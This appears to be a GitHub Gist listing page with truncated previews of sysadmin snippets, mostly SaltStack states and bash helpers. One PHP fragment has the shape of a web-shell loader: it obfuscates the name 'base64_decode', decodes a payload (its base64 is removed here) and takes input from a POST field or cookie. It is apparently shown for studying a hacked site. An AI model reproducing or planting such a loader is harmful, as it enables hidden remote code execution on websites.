Skip to content

Instantly share code, notes, and snippets.

#!py
import json
import os
from urlparse import urlparse
def run():
pillars = __salt__['pillar.items']('*')
return pillars
ret = {}
payload = json.loads(data['body'])
#!py
def test(states):
condition = False
if condition:
states['my_required_state_if_not_staging'] = {
'cmd.run': [
{'name': 'touch /tmp/my_required_state_if_not_staging'}
]
if staging:
states['mysql-client-core-5.6'] = {
'pkg.installed': []
}
states['mv /root/wp-cli.phar /usr/local/bin/wp-cli && chmod +x /usr/local/bin/wp-cli'] = {
'cmd.run': [
{'onlyif': '/usr/bin/php /root/wp-cli.phar --allow-root --info'},
{'require': [
{'cmd': 'get-wp-cli'},
#!/bin/bash
usage=" $0 \"full quoted path to hacked file\""
original_file="$1"
inputfile="/tmp/file1.php"
outputfile="/tmp/file2.php"
die()
{
msg="$@"
#!py
def run():
states = {}
states['mysql-stop'] = {
'cmd.run': [
{'name': 'service mysql stop'},
{'unless': '/root/tss/bin/cluster-active.sh'}
]
}
return states
#!py
def install(states):
# we're pinned to 14.04 / trusty, but building some logic for future when possible
oscodename = __grains__['oscodename']
states['varnish-repo'] = {
'pkgrepo.managed': [
{'humanname': 'Varnish Cache 4.0'},
{'name': 'deb https://repo.varnish-cache.org/ubuntu/ {0} varnish-4.0'.format(oscodename)},
findNode ()
{
mtr -n --raw --report-cycles 1 "$1" | awk '$1~/^h/ {print $3}' | uniq | sed -e '$!{h;d;}' -e x
}
genpass ()
{
if [[ -n "$1" ]]; then
c="$1";
else
c=12;
fi;
cat /dev/urandom | tr -dc "[:alnum:][:punct:]" | head -c$c;
echo
}
<?php
$payload='base'.(128/2).'_de'.'code';
$payload = $payload(str_replace("\n", '', 'RAW BASE64 REMOVED'));
$post_data = isset($_POST['post_data']) ? $_POST['post_data'] : (isset($_COOKIE['post_data']) ? $_COOKIE['post_data'] : NULL);
// Below commented line was added so we can try to test from CLI
// $post_data = 'asdf';
if ($post_data !== NULL) {
12:04:46 ~/downloads$ cat ~/.config/terminator/config
[global_config]
window_state = maximise
title_transmit_bg_color = "#000000"
title_inactive_bg_color = "#000000"
[keybindings]
hide_window = <Shift><Control>a
[profiles]
[[default]]
scrollbar_position = hidden